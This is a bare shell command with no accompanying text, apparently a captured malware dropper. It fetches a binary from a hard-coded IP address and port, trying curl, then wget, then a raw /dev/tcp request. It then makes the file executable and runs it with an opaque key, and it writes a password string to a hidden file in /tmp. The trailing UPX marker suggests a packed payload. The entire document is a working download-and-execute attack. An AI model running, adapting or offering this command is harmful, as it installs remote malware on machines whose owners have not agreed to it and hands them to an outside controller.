nohup $SHELL -c "curl http://47.236.164.79:60102/linux -o /tmp/g2bHbuCa4l; if [ ! -f /tmp/g2bHbuCa4l ]; then wget http://47.236.164.79:60102/linux -O /tmp/g2bHbuCa4l; fi; if [ ! -f /tmp/g2bHbuCa4l ]; then exec 6<>/dev/tcp/47.236.164.79/60102 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/g2bHbuCa4l && chmod +x /tmp/g2bHbuCa4l && /tmp/g2bHbuCa4l RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18M[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/g2bHbuCa4l && /tmp/g2bHbuCa4l RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18M[...]" &#UPX!